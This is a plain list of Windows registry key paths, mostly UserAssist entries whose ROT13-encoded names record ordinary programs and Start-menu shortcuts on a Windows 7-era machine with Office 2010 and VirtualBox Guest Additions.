HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\IObkQeiVafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\ertrqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\IOBKFIE\Qbjaybnqf\9.0_NqorEqe90_ra_HF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvrkrp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.JvaqbjfVafgnyyre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\CVY-1.1.7.jva32-cl2.7.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\wqx-7-jvaqbjf-v586.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.Qrsnhyg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\frghc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Q:\IObkJvaqbjfNqqvgvbaf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\HfreNppbhagPbagebyFrggvatf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erxrljvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zzp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\fyhv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\frgup.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FlfgrzCebcregvrfNqinaprq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qrfxgbc\AQC451-XO2858728-k86-k64-NyyBF-RAH.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\RKPRY.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BHGYBBX.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\CBJRECAG.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BARABGR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Ernqre 9.0\Ernqre\NpebEq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Benpyr\IveghnyObk Thrfg Nqqvgvbaf\havafg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\NccQngn\Ybpny\Grzc\~afh.gzc\Nh_.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\jvaire.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clgubaj.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{7SR8Q22N-SO1Q-N8OR-01R3-6P8693961R6R}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.VagreargRkcybere.64Ovg
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\hfre\Qbjaybnqf\Nhgbehaf64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P1P6S8NP-40N3-0S5P-146S-65N9QP70OOO4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jrypbzr Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\qvfcynlfjvgpu.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Pnyphyngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fgvpxl Abgrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Favccvat Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Cnvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\KCF Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Snk naq Fpna.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Erzbgr Qrfxgbc Pbaarpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Zntavsl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Jbeq 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Rkpry 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bhgybbx 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg CbjreCbvag 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg BarAbgr 2010.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqbor Ernqre 9.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Benpyr IZ IveghnyObk Thrfg Nqqvgvbaf\Havafgnyy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere (64-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CLASSES_ROOT\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInstrumentation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Pbzznaq Cebzcg.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Abgrcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Aneengbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Ba-Fperra Xrlobneq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Flfgrz Gbbyf\Cevingr Punenpgre Rqvgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npebong.pbz.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zrqvn Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fvqrone.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf QIQ Znxre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Zrqvn Cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zngu Vachg Cnary.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zbovyvgl Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\ArgjbexCebwrpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fbhaq Erpbeqre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flap Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jbeqcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Npprffvovyvgl\Fcrrpu Erpbtavgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Punenpgre Znc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\qsethv.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Qvfx Pyrnahc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Erfbhepr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Vasbezngvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Flfgrz Erfgber.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre Ercbegf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flfgrz Gbbyf\Jvaqbjf Rnfl Genafsre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\FuncrPbyyrpgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\GnoGvc.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\Jvaqbjf Wbheany.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzcbarag Freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzchgre Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Qngn Fbheprf (BQOP).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Rirag Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\vFPFV Vavgvngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zrzbel Qvntabfgvpf Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cresbeznapr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cevag Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Frphevgl Pbasvthengvba Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Flfgrz Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf Sverjnyy jvgu Nqinaprq Frphevgl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf CbjreFuryy Zbqhyrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Perngr Erpbirel Qvfp.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Erzbgr Nffvfgnapr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Qvtvgny Pregvsvpngr sbe ION Cebwrpgf.yax
